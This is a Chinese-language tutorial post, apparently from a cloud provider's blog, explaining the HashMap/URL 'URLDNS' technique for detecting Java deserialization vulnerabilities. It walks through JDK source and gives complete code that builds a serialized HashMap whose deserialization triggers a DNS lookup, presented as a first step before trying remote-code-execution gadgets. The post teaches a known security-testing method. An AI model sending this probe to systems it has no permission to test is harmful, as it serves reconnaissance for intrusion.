溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么通過(guò)HashMap觸發(fā)DNS檢測(cè)Java反序列化漏洞

發(fā)布時(shí)間:2021-09-04 21:33:14 來(lái)源:億速云 閱讀:121 作者:chen 欄目:云計(jì)算

本篇內(nèi)容介紹了“怎么通過(guò)HashMap觸發(fā)DNS檢測(cè)Java反序列化漏洞”的有關(guān)知識(shí),在實(shí)際案例的操作過(guò)程中,不少人都會(huì)遇到這樣的困境,接下來(lái)就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!

通過(guò) HashMap 觸發(fā) DNS 檢測(cè) Java 反序列化漏洞

我們常說(shuō)的反序列化漏洞一般是指 readObject() 方法處觸發(fā)的漏洞,而除此以外針對(duì)不同的序列化格式又會(huì)產(chǎn)生不同的出發(fā)點(diǎn),比如說(shuō) fastjson 會(huì)自動(dòng)運(yùn)行 setter,getter 方法。之后又有各種 RMI,JNDI 姿勢(shì)去執(zhí)行命令?,F(xiàn)在常見(jiàn)的黑盒檢測(cè) Java 反序列化方式就是執(zhí)行命令 API,比如用一個(gè) gadget 去執(zhí)行 nslookup xxx 最終通過(guò)服務(wù)器記錄去判斷。

但這種方式可能出現(xiàn)的一種問(wèn)題是,你選擇測(cè)試的 gadget 服務(wù)器正好沒(méi)這個(gè) jar 包或者更新過(guò)了,但卻有另一個(gè)存在漏洞的 jar 包。這時(shí)候單一的 gadget構(gòu)造出的執(zhí)行命令 payload 就會(huì)漏報(bào)。所以為了解決這種問(wèn)題這里分享一個(gè)通過(guò) HashMap 結(jié)合 URL 觸發(fā) DNS 檢查的思路。在實(shí)際過(guò)程中可以首先通過(guò)這個(gè)去判斷服務(wù)器是否使用了 readObject() 以及能否執(zhí)行。之后再用各種 gadget 去嘗試試 RCE。

HashMap readObject & URLStreamHandler hashCode

HashMap 最早出現(xiàn)在 JDK 1.2 中,底層基于散列算法實(shí)現(xiàn)。而正是因?yàn)樵?HashMap 中,Entry 的存放位置是根據(jù) Key 的 Hash 值來(lái)計(jì)算,然后存放到數(shù)組中的。所以對(duì)于同一個(gè) Key,在不同的 JVM 實(shí)現(xiàn)中計(jì)算得出的 Hash 值可能是不同的。因此,HashMap 實(shí)現(xiàn)了自己的 writeObject 和 readObject 方法。

因?yàn)槭茄芯糠葱蛄谢瘑?wèn)題,所以我們來(lái)看一下它的 readObject 方法。

怎么通過(guò)HashMap觸發(fā)DNS檢測(cè)Java反序列化漏洞  

前面主要是使用的一些防止數(shù)據(jù)不一致的方法,我們可以忽視。主要看 putVal 時(shí)候 key 進(jìn)入了 hash 方法,跟進(jìn)看。

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
 

這里直接調(diào)用了 key 的 hashCode 方法。那么我們現(xiàn)在就需要一個(gè)類 hashCode 可以執(zhí)行某些東西即可。

很幸運(yùn)的我們發(fā)現(xiàn)了 URL 類,它有一個(gè)有趣的特點(diǎn),就是當(dāng)執(zhí)行 hashCode 方法時(shí)會(huì)觸發(fā)當(dāng)前 URLStreamHandler 的 hashCode 方法。

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}
 

我們可以繼續(xù)跟進(jìn)。

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}
 

主要就是這句代碼了。

InetAddress addr = getHostAddress(u);
 
怎么通過(guò)HashMap觸發(fā)DNS檢測(cè)Java反序列化漏洞  

很簡(jiǎn)單,就是這里最后觸發(fā)了 DNS 查詢。

也就是說(shuō)我們現(xiàn)在思路是通過(guò) hashmap 放入一個(gè) URL 的 key 然后會(huì)觸發(fā) DNS 查詢。這里需要注意一個(gè)點(diǎn),就是在 URLStreamHandler 的 hashCode 方法中首先進(jìn)行了一個(gè)緩存判斷即如果不等于 -1 會(huì)直接 return。

if (hashCode != -1)
    return hashCode;
 

因?yàn)樵谏?hashMap put 時(shí)候會(huì)調(diào)用到 hashCode 方法,所以會(huì)緩存下來(lái),即 hashcode 不為 -1。所以為了讓被接收者觸發(fā) DNS 查詢,我們需要先通過(guò)反射把 hashcode 值改為 -1,繞過(guò)緩存判斷。

Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
 

最后生成的代碼為:

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
String url="https://www.xttblog.com";
HashMap hashMap = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
oos.writeObject(hashMap);
oos.flush();
oos.close();
 

測(cè)試代碼:

ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj"));
ois.readObject();
 

調(diào)用棧:

怎么通過(guò)HashMap觸發(fā)DNS檢測(cè)Java反序列化漏洞  

最終你會(huì)發(fā)現(xiàn)成功的觸發(fā) DNS 查詢。


“怎么通過(guò)HashMap觸發(fā)DNS檢測(cè)Java反序列化漏洞”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI